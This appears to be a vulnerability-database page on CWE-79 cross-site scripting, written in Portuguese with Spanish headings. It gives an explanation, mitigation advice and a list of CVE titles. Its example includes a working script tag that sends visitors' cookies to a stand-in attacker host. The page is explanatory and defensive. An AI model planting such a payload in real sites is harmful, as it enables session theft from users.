Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-111942MEDIUMhrisikeshpal Blood_Bank_Management_System abs.php cross site scriptingEPSS 0.3%CVE-2025-0062MEDIUMCross-Site Scripting (XSS) vulnerability in SAP BusinessObjects Business Intelligence Platform (Web Intelligence)EPSS 0.3%CVE-2026-111110HIGHPayment forms, Buy now buttons, and Invoicing System | GetPaid <= 2.8.61 - Unauthenticated Stored Cross-Site Scripting via 'mmdwqzpoxadd' ParameterEPSS 0.3%CVE-2015-20115MEDIUMRealtyScript 4.0.2 Stored Cross-Site Scripting via File Upload ParameterEPSS 0.3%CVE-2026-19657MEDIUMScadaLTS Unauthenticated Reflected XSSEPSS 0.3%CVE-2023-37940MEDIUMCross-site scripting (XSS) vulnerability in the edit Service Access Policy page in Liferay Portal 7.0.0 through 7.4.3.87, and Liferay DXP 7.EPSS 0.3%CVE-2024-39242MEDIUMA cross-site scripting (XSS) vulnerability in skycaiji v2.8 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.3%CVE-2020-36931MEDIUMClick2Magic 1.1.5 - Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-32809MEDIUMW. W. Norton InQuizitive through 2025-04-08 allows students to conduct stored XSS attacks against educators via a bonus description, feedbacEPSS 0.3%CVE-2025-14201MEDIUMalokjaiswal Hotel-Management-services-using-MYSQL-and-php dishsub.php cross site scriptingEPSS 0.3%CVE-2026-81812MEDIUMElementor < 4.3.5 - Author+ Stored XSS via SVG UploadEPSS 0.3%CVE-2025-56697MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability was discovered in the /users/adminpanel/admin/home.php?page=feedbacks file of Kashipara CoEPSS 0.3%CVE-2026-57568MEDIUMLychee: Stored XSS via Markdown javascript: Links in Photo and Album Descriptions (Gallery View)EPSS 0.3%CVE-2026-26266CRITICALAliasVault affected by Cross-Site Scripting (XSS) via Email HTML RenderingEPSS 0.3%CVE-2025-29018MEDIUMA Stored Cross-Site Scripting (XSS) vulnerability exists in the name parameter of pages_add_acc_type.php in Code Astro Internet Banking SystEPSS 0.3%CVE-2026-24837HIGHDotNetNuke.Core Vulnerable to Stored XSS in Module Deletion Confirmation ModalEPSS 0.3%CVE-2025-53528HIGHCadwyn is vulnerable to an XSS attack through its docs pageEPSS 0.3%CVE-2024-8473MEDIUMSQL injection vulnerability in Job PortalEPSS 0.3%CVE-2025-8874MEDIUMMaster Addons – Elementor Addons with White Label, Free Widgets, Hover Effects, Conditions, & Animations <= 2.0.8.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via fancyBoxEPSS 0.3%CVE-2026-10173MEDIUMOrthanc Explorer 2 URL StudyList.vue cross site scriptingEPSS 0.3%